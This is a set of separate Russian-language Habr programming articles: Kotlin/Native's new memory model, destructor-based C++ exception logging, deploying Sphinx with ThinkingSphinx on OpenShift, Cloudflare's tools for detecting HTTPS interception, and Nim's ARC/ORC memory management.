*Важно! Если у вас не установлен Xcode версии 12.5 или выше, обязательно скачайте и поставьте. Это минимальная совместимая версия с 1.6.0-M1-139. Если у вас установлено уже несколько версий Xcode, в том числе и более низкие, то поменяйте на подходящую с помощью xcode-select, закройте проект Kotlin Multiplatform и запустите Invalidate cache and Restart. Иначе получите ошибку о несовместимости версии.*
Начнем с уборки freeze() блоков из бескорутиновой версии:
```
//Worker
internal fun background(block: () -> Unit) {
val future = worker.execute(TransferMode.SAFE, { block}) {
it()
}
collectFutures.add(future)
}
//Main wrapper
internal fun main(block:()->Unit) {
dispatch_async(dispatch_get_main_queue()) {
block()
}
}
```
Также уберем заморозку с параметров, которые мы используем для UrlSession (у нас нативный сетевой клиент):
```
fun request(request: Request, completion: (Response) -> Unit) {
this.completion = completion
val responseReader = ResponseReader().apply { this.responseListener = this@HttpEngine }
val urlSession =
NSURLSession.sessionWithConfiguration(
NSURLSessionConfiguration.defaultSessionConfiguration, responseReader,
delegateQueue = NSOperationQueue.currentQueue()
)
val urlRequest =
NSMutableURLRequest(NSURL.URLWithString(request.url)!!).apply {
setAllHTTPHeaderFields(request.headers)
setHTTPMethod(request.method.value)
setCachePolicy(NSURLRequestReloadIgnoringCacheData)
}
fun doRequest() {
val task = urlSession.dataTaskWithRequest(urlRequest)
task?.resume()
}
background{
doRequest()
}
}
```
Для полного избавления от заморозок меняем AtomicReference на FreezableAtomicReference:
```
/*
internal fun T.atomic(): AtomicReference{
return AtomicReference(this.share())
}\*/
internal fun T.atomic(): FreezableAtomicReference{
return FreezableAtomicReference(this)
}
```
И подправляем код, где мы атомарные ссылки используем:
```
private fun updateChunks(data: NSData) {
var newValue = ByteArray(0)
newValue += chunks.value
newValue += data.toByteArray()
chunks.value = newValue//.share()
}
```
Код так и дышит чистотой и просто летает, несмотря на то, что GC (в котором могут быть [боли](https://github.com/JetBrains/kotlin/blob/master/kotlin-native/NEW_MM.md)) у нас не поменялся.
Теперь подтюнингуем пример с корутинами:
```
val uiDispatcher: CoroutineContext = Dispatchers.Main
val ioDispatcher: CoroutineContext = Dispatchers.Default
```
Для начала мы воспользуемся диспетчерами по умолчанию. Чтобы проверить магию GlobalQueue, выведем данные о контексте в блоке под управлением ioDispatcher:
```
//output
StandaloneCoroutine{Active}@26dbcd0, DarwinGlobalQueueDispatcher@28ea470
```
Убираем заморозки при работе с Flow и/или Channel:
```
class FlowResponseReader : NSObject(),
NSURLSessionDataDelegateProtocol {
private var chunksFlow = MutableStateFlow(ByteArray(0))
private var rawResponse = CompletableDeferred()
suspend fun awaitResponse(): Response {
var chunks = ByteArray(0)
chunksFlow.onEach {
chunks += it
}.launchIn(scope)
val response = rawResponse.await()
response.content = chunks.string()
return response
}
/\*\*\*/
private fun updateChunks(data: NSData) {
val bytes = data.toByteArray()
chunksFlow.tryEmit(bytes)
}
}
```
Все работает, отлично и быстро. Не забываем вынести ответ в очередь main thread:
```
actual override suspend fun request(request: Request):Response {
val response = engine.request(request)
return withContext(uiDispatcher){response}
}
```
*Важно! Для предотвращения утечек на стороне iOS, особенно в случае большого количества различных объектов Swift/ObjC, и вспоможения GC оборачиваем блоки вызова и работы с ответом в autoreleasepool.*
Теперь попробуем следующее. Запустим на MainScope, но с помощью newSingleThreadContext укажем другой фоновый диспетчер:
```
val task = urlSession.dataTaskWithRequest(urlRequest)
mainScope.launch(newSingleThreadContext("MyOwnThread")) {
print("${this.coroutineContext}")
task?.resume()
}
//output
[StandaloneCoroutine{Active}@384d2a0, WorkerDispatcher@384d630]
```
Все отрабатывает без запинок. С наших разработческих плеч совсем скоро свалится гора забот.
Но остается жирное "НО". Не все библиотеки, которые мы используем в приложениях KMM, готовы к новой модели памяти, новому подходу к заморозкам и передаче между контекстами. Мы можем получить исключение InvalidMutabilityException или FreezingException.
Поэтому для них в приложениях с версией 1.6.0-M1-139 придется отключить встроенную заморозку:
```
//gradle.properties
kotlin.native.binary.freezing=disabled
//либо build.gradle.kts
kotlin.targets.withType(KotlinNativeTarget::class.java) {
binaries.all {
binaryOptions["freezing"] = "disabled"
}
}
```
Более подробно о новой версии модели управления памятью смотрите здесь: <https://github.com/JetBrains/kotlin/blob/master/kotlin-native/NEW_MM.md>
И сэмпл на коленке:
<https://github.com/anioutkazharkova/kotlin_native_network_client/tree/feature/1.6-kn/sample> | https://habr.com/ru/post/578716/ | null | ru | null |
# Логируем контекст исключений
В преддверии [Дня программиста](https://ru.wikipedia.org/wiki/%D0%94%D0%B5%D0%BD%D1%8C_%D0%BF%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D0%B8%D1%81%D1%82%D0%B0) и по следам [Дня тестировщика](https://ru.wikipedia.org/wiki/%D0%94%D0%B5%D0%BD%D1%8C_%D1%82%D0%B5%D1%81%D1%82%D0%B8%D1%80%D0%BE%D0%B2%D1%89%D0%B8%D0%BA%D0%B0) хочу рассказать о том как упростить жизнь и тем и другим в их общем деле — разработке и отладке ПО.
А именно — расскажу о том как сделать исключения С++ более информативными, а логирование ошибок — более компактным.
После полутора лет работы с Java я привык к исключениям содержащим в себе StackTrace наподобие
>
> ```
>
> Exception in thread "main" java.lang.IllegalStateException: A book has a null property
> at com.example.myproject.Author.getBookIds(Author.java:38)
> at com.example.myproject.Bootstrap.main(Bootstrap.java:14)
> Caused by: java.lang.NullPointerException
> at com.example.myproject.Book.getId(Book.java:22)
> at com.example.myproject.Author.getBookIds(Author.java:35)
> ... 1 more
>
> ```
>
Переключившись на С++ я через какое-то время был поражён неинформативностью исключений в плане выявления причин ошибки и дальнейшей отладки. Пришлось логировать прохождение всех важных точек программы, чтобы по логам понять где же именно что-то пошло не так и привело к исключению.
Далее я представлю упрощённую эволюцию логирования, через которую прошёл сам.
**Исходная программа, которую мы будем отлаживать и улучшать**
```
void foo(int a)
{
if (a == 0)
{
throw runtime_error("foo throw because zero argument");
}
}
void bar(int a)
{
foo(a - 10);
}
int main()
{
try
{
for (int i = 0; i < 100; i++)
{
bar(i);
}
}
catch (const exception &e)
{
cerr << "Caught exception: " << e.what() << endl;
}
return 0;
}
```
В данном виде не зная ничего о пути вызова **foo** и функции **bar** очень сложно понять что делать с полученным исключением
> Caught exception: foo throw because zero argument
**Добавляем чуть-чуть логов**
```
void bar(int a)
{
cerr << "Calling foo(" << a - 10 << ")" << endl;
foo(a - 10);
}
int main()
{
try
{
for (int i = 0; i < 100; i++)
{
cerr << "Calling bar(" << i << ")" << endl;
bar(i);
}
}
catch (const exception &e)
{
cerr << "Caught exception: " << e.what() << endl;
}
return 0;
}
```
**Результат выполнения:**
> Calling bar(0)
>
> Calling foo(-10)
>
> Calling bar(1)
>
> Calling foo(-9)
>
> Calling bar(2)
>
> Calling foo(-8)
>
> Calling bar(3)
>
> Calling foo(-7)
>
> Calling bar(4)
>
> Calling foo(-6)
>
> Calling bar(5)
>
> Calling foo(-5)
>
> Calling bar(6)
>
> Calling foo(-4)
>
> Calling bar(7)
>
> Calling foo(-3)
>
> Calling bar(8)
>
> Calling foo(-2)
>
> Calling bar(9)
>
> Calling foo(-1)
>
> Calling bar(10)
>
> Calling foo(0)
>
> Caught exception: foo throw because zero argument
>
>
Теперь понятно что произошло, но лог оказался чересчур захламлённым. А представим кошмар, в который это превратиться, если программа должна обработать все файлы в директории, на каждый файл приходится 5 строчек лога и исключение возникло через 1000 файлов. Итого — 5000 строк лога о том, как всё хорошо, и 10 строк лога об ошибке.
За время чтения этого лога проклятия коллег-разработчиков и тестировщиков, которые вместо праздника читают мой лог и пишут баг-репорт, загонят мою карму в минус бесконечность.
Значит придётся логировать только «ошибочные» ветви исполнения.
Очевидно что на момент вызова функции неизвестно завершится она нормально или выкинет исключение. Значит запись в лог придётся отложить до выхода из функции и анализировать ход выполнения программы.
**Например так**
```
void bar(int a)
{
try
{
foo(a - 10);
}
catch (const exception &e)
{
string msg = string("calling foo(") + to_string(a - 10) + ") failed";
throw runtime_error(string(e.what()) + "\n" + msg);
}
}
int main()
{
try
{
int i;
try
{
for (i = 0; i < 100; i++)
{
bar(i);
}
}
catch (const exception &e)
{
string msg = string("calling bar(") + to_string(i) + ") failed";
throw runtime_error(string(e.what()) + "\n" + msg);
}
}
catch (const exception &e)
{
cerr << "Caught exception: " << e.what() << endl;
}
return 0;
}
```
> Caught exception: foo throw because zero argument
>
> calling foo(0) failed
>
> calling bar(10) failed
>
>
Теперь тестировщики легко напишут баг-репорт и приложат к нему красивый, информативный и чистый лог. А вот программа стала уродливой и потеряла всю прелесть исключений — возможность разнести рабочий код и обработку ошибок. Фактически мы вернулись чуть ли не к проверке кодов возврата функции и жестоким временам чистого C. А хочется красивого решения, которое позволит использовать создавать чистый лог и не уродовать программу. Т.е. кто-то должен за нас при выходе из функции проанализировать и залогировать происходящее. Тут нам на помощь приходит подход, [уже описаный](http://habrahabr.ru/post/148781/) на Хабре, а именно — запись логов при вызове деструктора.
Итак требования к классу логирования:
1. Задание сообщения для лога
2. Вывод сообщения, только в случае исключения
Тут нам на помощь приходит функция **bool uncaught\_exception()**, которая как раз и говорит есть ли необработанное исключение.
**Класс ExceptionContext**
```
class ExceptionContext
{
public:
ExceptionContext(const std::string &msg);
~ExceptionContext();
private:
std::string message;
};
ExceptionContext::ExceptionContext(const std::string &msg): message(msg)
{}
ExceptionContext::~ExceptionContext()
{
if (std::uncaught_exception())
{
std::cerr << message << std::endl;
}
}
```
**Пример использования**
```
void bar(int a)
{
ExceptionContext e(string("calling foo(") + to_string(a - 10) + ")");
foo(a - 10);
}
int main()
{
try
{
for (int i = 0; i < 100; i++)
{
ExceptionContext e(string("calling bar(") + to_string(i) + ")");
bar(i);
}
}
catch (const exception &e)
{
cerr << "Caught exception: " << e.what() << endl;http://habrahabr.ru/topic/edit/266729/#
}
return 0;
}
```
> calling foo(0)
>
> calling bar(10)
>
> Caught exception: foo throw because zero argument
Видно, что данный вариант сочетает компактность лога (логируем только упавшую ветку исполнения) с компактностью программы (основной код и обработка исключений разнесены, в основной код логирование вставляется одной строчкой). Теперь и разработчики, и тестировщики перестали меня проклинать.
Вообще-то основная цель уже достигнута, но можно пойти по пути множества дальнейших улучшений, в том числе описанных в конце уже упомянутого [поста](http://habrahabr.ru/post/148781/).
Я же рассмотрю всего два момента:
1. Взаимодействие с другими логгерами
2. Потокобезопасность
Распечатывание лога напрямую в **cerr** может быть неудобно отсутствием возможности получить с таким трудом накопленый контекст для дублирования его ещё куда-нибудь (да хоть на почту разработчику, раз уж мы существенно сократили его объём!). Опять же, при наличии других инструментов логирования или многопоточного исполнения, возможны неприятные спецэффекты вроде строк лога вперемешку. Поэтому теперь класс **ExceptionContext** будет логи хранить внутри себя, а наружу выдавать по запросу, на манер [printStackTrace](http://www.tutorialspoint.com/java/lang/throwable_printstacktrace.htm) из Java.
**Потокобезопасный вариант (с использованием С++11)**
```
class ExceptionContext
{
public:
ExceptionContext(const std::string &msg);
~ExceptionContext();
static void Print(); //! Вывод контекста в cerr с последующей очисткой.
private:
std::string message;
static thread_local std::string global_context; //! Хранилище контекста последнего исключения данного потока.
};
ExceptionContext::ExceptionContext(const std::string &msg): message(msg)
{}
ExceptionContext::~ExceptionContext()
{
if (std::uncaught_exception())
{
global_context += message + std::string("\n");
}
}
void ExceptionContext::Print()
{
std::cerr << global_context << std::endl;
global_context.clear();
}
thread_local std::string ExceptionContext::global_context = std::string("");
```
А catch-блок в основной программе теперь выглядит так:
```
catch (const exception &e)
{
cerr << "Caught exception: " << e.what() << endl;
ExceptionContext::Print();
}
```
От С++11 здесь используется модификатор **thread\_local**, который гарантирует что в каждом потоке исполнения объект **global\_context** будет собственный, несмотря на то, что он является статическим членом класса и должен быть един для всех экземпляров.
Хороших всем выходных, чистого кода, читаемых логов и остальных успехов в работе! | https://habr.com/ru/post/266729/ | null | ru | null |
# Как подружить Sphinx с OpenShift для ThinkingSphinx под Rails
Для стейджинга моих небольших проектов на Rails я использую Openshift. Впринципе для небольших проектов он очень удобен — удобный деплой, все самое необходимое из коробки. Чего еще душе может быть необходимо? Но душа захотела сфинкса, при том очень сильно хзахотела. Так как среди картриджей я сфинкса не обнаружил, то пошел в google за советом.
А в гугле ничего… Ну или почти ничего. Все советовали поднимать DIY, накатывать все вручную, некоторые из моих знакомых советовали пересесть на AWS, но я в упор не хотел признавать, что под OpenShift нельзя поднять сфинкс. А так как приложение уже крутилось под сборкой для рельс то и DIY создавать не хотелось и я, стал думать как же все-таки поднять sphinx в уже готовой среде.
Под катом то, что я придумал.
#### Инсталируем Sphinx
С rpm в OpenShift то же туго, так что будем ставить все из сорцов. Идем на страницу [sphinxsearch.com/downloads/release](http://sphinxsearch.com/downloads/release/), выбираем «Source tarbal» и копируем ссылку в самом низу страницы («[sphinxsearch.com/files/sphinx-2.0.6-release.tar.gz](http://sphinxsearch.com/files/sphinx-2.0.6-release.tar.gz)»). У меня релиз был 2.0.6, так что описывать буду для него.
Теперь заходим в свое приложение под ssh:
```
rhc app show -a [APP_NAME]
```
смотрим на параметр «Git URL», из него копируем только адрес с UUID и заходим под ним через ssh на сервер.
Теперь переходим в tmp директорию, скачиваем и устанавливаем spinx:
```
cd $OPENSHIFT_TMP_DIR
wget http://sphinxsearch.com/files/sphinx-2.0.6-release.tar.gz
tar -zxfv sphinx-2.0.6-release.tar.gz
cd sphinx-2.0.6-release
./configure --prefix=$OPENSHIFT_RUNTIME_DIR
make install
```
**Обратите внимание, на префикс при конфигурировании, он необходим, иначе sphinx не поставится.**
#### Настройка ThinkingSphinx
Теперь нам нужно настроить ThinkingSphinx (я предполагаю, что вы уже сконфигурировали Sphinx на локальной машине, если нет, то информации про это полно, а также у вас есть все необходимые файлы от OpenShift в проекте). Итак первым делом нужно понимать, что OpenShift **не даст нам забиндить Sphinx на localhost**, для всех биндингов на OpenShift используется переменная окружения **$OPENSHIFT\_INTERNAL\_IP**. Так же стоит понимать, что не на все порты Openshift даст вам доступ для биндинга. Доступные порты лежат в пределах **15000 — 35530**. Поэтому идем в наш c**onfig/sphinx.yml** и пишем следующее:
```
production:
address: <%=ENV['OPENSHIFT_INTERNAL_IP']%>
port: 15000
```
Я выбрал этот порт, вы можете выбрать свой, главное что бы он лежал в пределах допустимых значений.
Есть еще одно ограничение. **OpenShift не хранит log файлы в стандартной рельсовой директории**, поэтому нам надо прописать и пути для log файлов:
```
searchd_log_file: <%=File.join(ENV['OPENSHIFT_LOG_DIR'],'searchd.log')%>
query_log_file: <%=File.join(ENV['OPENSHIFT_LOG_DIR'],'searchd.query.log')%>
pid_file: <%=File.join(ENV['OPENSHIFT_LOG_DIR'],'searchd.production.pid')%>
```
Так как наш **searchd демон лежит не в стандартной папке**, то нам требуется прописать и его в конфиге:
```
bin_path: <%=File.join(ENV['OPENSHIFT_RUNTIME_DIR'],'bin')%>
searchd_binary_name: 'searchd'
indexer_binary_name: 'indexer'
```
В итоге у меня получился вот такой конфиг:
```
production:
searchd_log_file: <%=File.join(ENV['OPENSHIFT_LOG_DIR'],'searchd.log')%>
query_log_file: <%=File.join(ENV['OPENSHIFT_LOG_DIR'],'searchd.query.log')%>
pid_file: <%=File.join(ENV['OPENSHIFT_LOG_DIR'],'searchd.production.pid')%>
address: <%=ENV['OPENSHIFT_INTERNAL_IP']%>
port: 15000
bin_path: <%=File.join(ENV['OPENSHIFT_RUNTIME_DIR'],'bin')%>
searchd_binary_name: 'searchd'
indexer_binary_name: 'indexer'
```
#### Конфигурируем деплой
Теперь нам нужно прописать правила рестарта сфинкса, идем в **.openshift/action\_hooks/deploy** и пишем там следующее:
```
bundle exec rake ts:config RAILS_ENV="production"
bundle exec rake ts:rebuild RAILS_ENV="production"
```
Это должно собрать новый конфигурационный файл, пересобрать индексы и перезапустить демон.
Однако, наш демон теперь пересобирает индексы только один раз, во время деплоя. Что бы исправить это нам нужно написать таск для cron'а. Я решил что он будет пересобираться каждую минуту, так что идем в **.openshift/cron/minutely** создаем там файлик **sphinx\_rebuild** следующего содержания:
```
!#/bin/bash
cd $OPENSHIFT_REPO_DIR
bundle exec rake ts:rebuild RAILS_ENV="production"
```
Все, теперь каждую минуту sphinx будет пересобирать индекс, так что ваши индексы будут оставаться актуальными для текущей базы данных.
Нам осталось только задеплоиться и наслаждаться работой сфинкса на стейдже. К слову все тоже самое можно проделать и на DIY и не обязательно для Rails. | https://habr.com/ru/post/157857/ | null | ru | null |
# Новые инструменты для обнаружения HTTPS-перехвата
[](https://habrastorage.org/webt/fo/qw/00/foqw00u6rxe1pz2sawwacn1c6ao.png)
По мере роста использования HTTPS растёт желание посторонних лиц внедриться в защищённый трафик. Исследование 2017 года [*The Security Impact of HTTPS Interception*](https://jhalderm.com/pub/papers/interception-ndss17.pdf) показало, что это становится всё более распространённой практикой. Анализ трафика на серверах обновления Firefox показал, что в отдельных странах процент внедрения посторонних агентов в HTTPS достигает 15%.
Со времени исследования ситуация вряд ли улучшилась. Сейчас даже последняя модель беспроводных наушников Sennheiser [требует установить в системе корневой сертификат](https://arstechnica.com/information-technology/2018/11/sennheiser-discloses-monumental-blunder-that-cripples-https-on-pcs-and-macs/) (с небезопасными параметрами).
Чаще всего защиту компрометирует антивирус или корпоративный middlebox (см. список ниже), но бывает и хуже. В любом случае, лучше знать наверняка, когда ваш канал HTTPS на самом деле не защищён из конца в конец. Даже когда сторонняя система перехватывает трафик из лучших побуждений, она зачастую не поддерживает современные шифры или не валидирует сертификаты, таким образом снижая общую защиту соединения. А ведь перехватывать SSL-трафик могут не только в благих целях, но и в злонамеренных: например, для цензуры на государственном уровне.
Программы мониторинга HTTPS работают как прозрачные прокси, которые обрывают сессию TLS, инспектируют контент, а затем устанавливают новую сессию с сервером назначения. Они используют не такие версии TLS-библиотек, как у популярных браузеров, что позволяет обнаружить их на стороне сервера по несоответствию между HTTP User-Agent и TLS Client Hello реального браузера и прокси.
Для начала приведём некоторые практические выводы из исследования 2017 года, в котором участвовали Mozilla, Google, GlobalSign, а также академические исследователи из Мичиганского университета, Иллинойсского университета в Урбане-Шампейне и Калифорнийского университета в Беркли.
[Практический вред от HTTPS-перехвата](https://www.us-cert.gov/ncas/alerts/TA17-075A) заключается в деградации шифрования и дополнительных уязвимостях «прозрачного прокси». Авторы исследования оценили по этим параметрам ряд популярных middlebox'ов. Как видим, в 2017 году почти половина из них не поддерживала современные наборы шифров, а у пяти зарегистрированы серьёзные уязвимости. Только 1 из 12 оказался способен полностью зеркалировать все пользовательские наборы шифров.
[](https://habrastorage.org/webt/lb/na/sw/lbnasw0tvhmtkxl3sf09liqlhpe.png)
Активность антивирусов на компьютерах пользователей тоже обычно детектируется на стороне сервера. Исследование показало, что только два антивируса полностью зеркалируют пользовательские шифры, в остальных случаях происходит деградация шифрования.
[](https://habrastorage.org/webt/kl/xb/xl/klxbxlkefin0ubouor2j7mxl24g.png)
Защищая от одних угроз, антивирусы снижают шифрование и добавляют собственные уязвимости. В целом установка стороннего антивируса часто значительно ухудшает общую безопасность системы. Некоторые специалисты советуют пользователям [всегда удалять из системы сторонние антивирусы](https://habr.com/ru/post/401059/), потому что их инвазивный и плохо написанный код осложняет браузерам и другим программам возможность обеспечить собственную безопасность.
На пути между клиентом и сервером могут работать и другие «прозрачные прокси». Чтобы лучше детектировать этих агентов, компания Cloudflare недавно выпустила два новых инструмента:
1. [MITMEngine](https://github.com/cloudflare/mitmengine), свободная библиотека для определения HTTPS-перехвата.
2. [MALCOLM](https://malcolm.cloudflare.com/), приборная панель для отображения метрик о HTTPS-перехвате в сети Cloudflare.
Главный интерес представляет библиотека MITMEngine. Разработчики [пишут](https://blog.cloudflare.com/monsters-in-the-middleboxes/), что взяли за образец популярный инструмент [Caddy Server MITM Detection](https://caddyserver.com/docs/mitm-detection). Он поддерживает набор популярных браузеров и распознаёт HTTPS-перехват по специфическим отпечаткам сообщений TLS Client Hello и User Agent, как описано выше.
Разработчики постарались обеспечить расширяемость, упростив будущее добавление в детектор новых версий браузеров, а также улучшили производительность и расширили функциональность детектора, по сравнению с Caddy Server MITM Detection. Он анализирует следующие параметры TLS Client Hello, сравнивая реальные данные с отпечатками известных браузеров:
* версия TLS;
* наборы шифров;
* расширения и их значения;
* поддерживаемые группы эллиптических кривых;
* форматы точек эллиптической кривой.
Фактически, MITMEngine выполняет частичный фингерпринтинг пользователя без его деанонимизации, но с надёжным определением, что соединение устанавливает реальный браузер, а не посредник.
#### Пример работы
Предположим, MITMEngine видит следующий User Agent от пользователя:
`Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/47.0.2526.111 Safari/537.36`
Этот User Agent соответствует Chrome 47 под Windows 7. Он сопровождается сообщением TLS Client Hello, которое указывает на следующие наборы шифров, в hex:
`0000 c0 2b c0 2f 00 9e c0 0a c0 14 00 39 c0 09 c0 13 .+./.... ...9....
0010 00 33 00 9c 00 35 00 2f 00 0a .3...5./ ..`
Это сообщение соответствует таким наборам шифров:
`TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256 (0xc02b)
TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256 (0xc02f)
TLS_DHE_RSA_WITH_AES_128_GCM_SHA256 (0x009e)
TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA (0xc00a)
TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA (0xc014)
TLS_DHE_RSA_WITH_AES_256_CBC_SHA (0x0039)
TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA (0xc009)
TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA (0xc013)
TLS_DHE_RSA_WITH_AES_128_CBC_SHA (0x0033)
TLS_RSA_WITH_AES_128_GCM_SHA256 (0x009c)
TLS_RSA_WITH_AES_256_CBC_SHA (0x0035)
TLS_RSA_WITH_AES_128_CBC_SHA (0x002f)
TLS_RSA_WITH_3DES_EDE_CBC_SHA (0x000a)`
Дефолтные наборы шифров для Chrome 47 следующие:
`0000 c0 2b c0 2f 00 9e cc 14 cc 13 c0 0a c0 14 00 39 .+./.... .......9
0010 c0 09 c0 13 00 33 00 9c 00 35 00 2f 00 0a .....3.. .5./..`
Если посмотреть внимательно, то можно заметить: в реальном трафике список шифров чуть короче, чем должно быть в реальном браузере. Хотя остальные расположены в том же порядке, но не хватает двух наборов:
`TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305_SHA256 (0xcc14)
TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305_SHA256 (0xcc13)`
Можно предположить, что трафик от браузера пользователя проходит через прозрачный прокси, который не поддерживает шифры ChaCha. Это снижает защиту пользователя, поскольку в списке следующие за ChaCha наборы шифров AES-CBC [уязвимы](https://blog.cloudflare.com/padding-oracles-and-the-decline-of-cbc-mode-ciphersuites/) для атак типа padding oracle.
В некоторых случаях MITMEngine позволяет даже определить, какая конкретно программа вызывает деградацию HTTPS-соединения (в примере выше это антивирус Sophos). Сервер может предупредить пользователя об этой угрозе.
---
[](https://clck.ru/LNdz4)
[](https://www.globalsign.com/ru-ru/lp/ny-code-signing-35-off/) | https://habr.com/ru/post/444496/ | null | ru | null |
# Введение в ARC/ORC в Nim
Nim переходит к более эффективным моделям управления памятью: ARC и ORC. Давайте узнаем, как именно они изменят работу с памятью в нём.
Введение
--------
Всем привет! В этой статье я постараюсь рассказать, что такое ARC и ORC и как они повлияют на производительность или другие части Nim'а. Я не буду глубоко погружаться в аспекты программной части, а постараюсь дать более или менее высокоуровневое объяснение.
Давайте начнём издалека: Nim всегда был языком со сборщиком мусора (GC). Конечно же GC можно выключить, но тогда при работе с большей частью стандартной библиотеки ([а она немаленькая](https://nim-lang.org/docs/lib.html)) память будет утекать.
Стандартным GC в Nim уже долгое время является `refc` (отложенный подсчёт ссылок с mark & sweep фазой для сборки циклов), хотя доступны и другие варианты, как `markAndSweep`, `boehm`, `go`, `regions`.
За последние несколько лет у разработчиков Nim'а появилось несколько разных идей, связанных с деструкторами, собственными ссылками (owned ref) и так далее:
* <https://nim-lang.org/araq/destructors.html>
* <https://nim-lang.org/araq/ownedrefs.html>
Из симбиоза этих идей получилось то, что в Nim называется ARC
Что такое ARC?
--------------
По своей сути ARC это модель управления памятью, основанная на автоматическом подсчёте ссылок (Automatic Reference Counting) с деструкторами и семантикой перемещений (move semantics). Можно заметить то, что ARC в Nim называется так же, как ARC в Swift, но есть одно больше различие — в Nim ARC не использует атомарный подсчёт ссылок.
Подсчёт ссылок остаётся одним из самых популярных алгоритмов для освобождения неиспользуемых ресурсов программы. **Счётчик ссылок** для любой управляемой (контролируемой runtime) ссылки показывает количество раз, которые ссылка используется в других частях программы. Когда этот счётчик становится нулевым, все данные по этой ссылке освобождаются.
Основным отличием ARC от остальных GC в Nim является то, что ARC полностью **детерминированный** — компилятор автоматически вставляет деструкторы в программу для удаления переменных (строк, последовательностей, ссылок, и т.д), которые больше не нужны. В этом смысле ARC похож на C++ с его деструкторами (RAII)
Для того, чтобы продемонстрировать этот процесс, мы используем интроспекцию ARC `expandArc`, которая доступна начиная с Nim 1.4.
Возьмём простой пример кода на Nim:
```
proc main =
let mystr = stdin.readLine()
case mystr
of "привет":
echo "Здравствуйте!"
of "пока":
echo "Удачи!"
quit()
else:
discard
main()
```
И используем эту интроспекцию командой `nim c --gc:arc --expandArc:main example.nim`.
```
--expandArc: main
var mystr
try:
mystr = readLine(stdin)
case mystr
of "привет":
echo ["Здравствуйте!"]
of "пока":
echo ["Удачи!"]
quit(0)
else:
discard
finally:
`=destroy`(mystr)
-- end of expandArc ------------------------
```
Результат этой интроспекции довольно интересен — Nim завернул тело процедуры `main` в `try: finally` выражение (код в `finally` выполняется всегда, даже если внутри блока `try` было вызвано исключение) и вставил вызов `=destroy` для строки `mystr`, чтобы она уничтожилась после окончания её жизненного цикла.
Благодаря этому мы можем увидеть одну из главных возможностей ARC: **управление памятью на основе областей видимости** (scope-based MM). Область видимости — это любой отдельный регион кода в программе. Такое управление памятью означает, что компилятор автоматически вставит вызовы деструкторов везде, где это необходимо, после выхода из области видимости. Многие части Nim'а вводят новые области видимости: процедуры, функции, конвертеры, методы, конструкции с `block`, циклы `for` и `while` и так далее.
У ARC к тому же имеются так называемые **hooks** — специальные процедуры, которые можно привязывать к типам для того, чтобы перезаписать стандартное поведение компилятора при деструкции/перемещении/копировании переменной. Они являются очень полезными при создании нестандартных семантик для своих типов, работы с низкоуровневыми операциями, включающими сырые указателями, или для FFI.
По сравнению с `refc` ARC обладает немалым количеством преимуществ (включая упомянутые выше):
* **Управление памятью на основе областей видимости** (деструкторы вставляются после областей видимости) — уменьшает потребление памяти программой и улучшает производительность.
* **Семантики перемещений** — возможность компилятора статически анализировать программу и переводить копии в перемещения там, где это возможно.
* **Общая куча** — в отличие от `refc`, у которого куча отдельная для каждого потока (thread-local heap), в ARC потоки имеют доступ к одной и той же памяти. Благодаря этому не нужно копировать переменные между потоками — вместо этого их можно перемещать. Так же стоит обратить внимание на [RFC об изоляции и отправке данных между потоками](https://github.com/nim-lang/RFCs/issues/244), которое строится на основе ARC.
* **Упрощение работы с FFI** — к примеру, с `refc` необходимо явно инициализировать его в каждом "чужом" (т.е. не созданным в самой программе) потоке, что не нужно для ARC. Это так же означает, что ARC является намного лучшим выбором для создания общих библиотек, которые будут использоваться из других языков (.dll, .so, [нативные модули для Python'а](https://github.com/yglukhov/nimpy) и так далее)
* Подходит для программирования в [**системах реального времени — hard realtime**](https://ru.wikipedia.org/wiki/%D0%A1%D0%B8%D1%81%D1%82%D0%B5%D0%BC%D0%B0_%D1%80%D0%B5%D0%B0%D0%BB%D1%8C%D0%BD%D0%BE%D0%B3%D0%BE_%D0%B2%D1%80%D0%B5%D0%BC%D0%B5%D0%BD%D0%B8)
* **Избавление от копий (copy elision)**, в Nim так же называется как вывод курсоров (cursor inference) — позволяет компилятору заменять копии простыми курсорами (алиасами) в большом количестве случаев
В целом, ARC для программ на Nim является отличным шагом вперёд, делающим их быстрее, уменьшающим потребление памяти, и давая им предсказуемое поведение.
Для того, чтобы включить ARC для вашей программы, всё, что нужно сделать, это скомпилировать её с ключом `--gc:arc`, или добавить его в конфигурационный файл вашего проекта (`.nims` или `.cfg`).
Проблема с циклами
------------------
Но подождите! Разве мы что-то не забыли? ARC проводит **подсчёт ссылок**, и, как известно, подсчёт ссылок не может освобождать циклы. Цикл — это отношение нескольких объектов, когда они все зависят друг от друга, и эта зависимость замкнута. Возьмём простой пример цикла: 3 объекта (A, B, C), у каждого их которых есть ссылка на другой объект, создают такую зависимость:
Для того, чтобы найти и собрать данный цикл, нам необходим **сборщик циклов** — специальная часть рантайма, которая находит и удаляет циклы, более не нужные для выполнения программы.
В Nim'е сборка циклов совершалась mark & sweep фазой `refc` GC, но лучше использовать ARC как основу для создания чего-то лучшего. Это приводит нас к:
ORC — сборщик циклов для Nim
----------------------------
ORC является совершенно новым сборщиком циклов, основанным на ARC. Его можно считать полноценным GC, так как он включает в себя фазу локального отслеживания (local tracing phase) в отличие от большинства других отслеживающих GC, которые проводят глобальное отслеживание (global tracing).
Для работы с async в Nim необходимо использовать ORC, потому что асинхронность в Nim'е образует циклы, которые необходимо собрать.
ORC сохраняет большую часть преимуществ ARC кроме **детерминированности** (частично) — по умолчанию у ORC есть адаптивный лимит для сборки циклов, и **hard realtime** (тоже частично) — по той же самой причине.
Для включения ORC вам нужно компилировать вашу программу с `--gc:orc`, но планируется, что в будущем ORC станет стандартным GC в Nim'е
Я заинтересовался! Как мне можно их протестировать?
---------------------------------------------------
Ничего сложного — вам всего лишь нужно поставить последнюю версию — [Nim 1.4](https://nim-lang.org/blog/2020/10/16/version-140-released.html). Возможно эта версия уже доступна в ваших пакетных менеджерах.
Это всё! Спасибо за чтение данной статьи — я надеюсь, что она вам понравилась!
Источники / дополнительная информация:
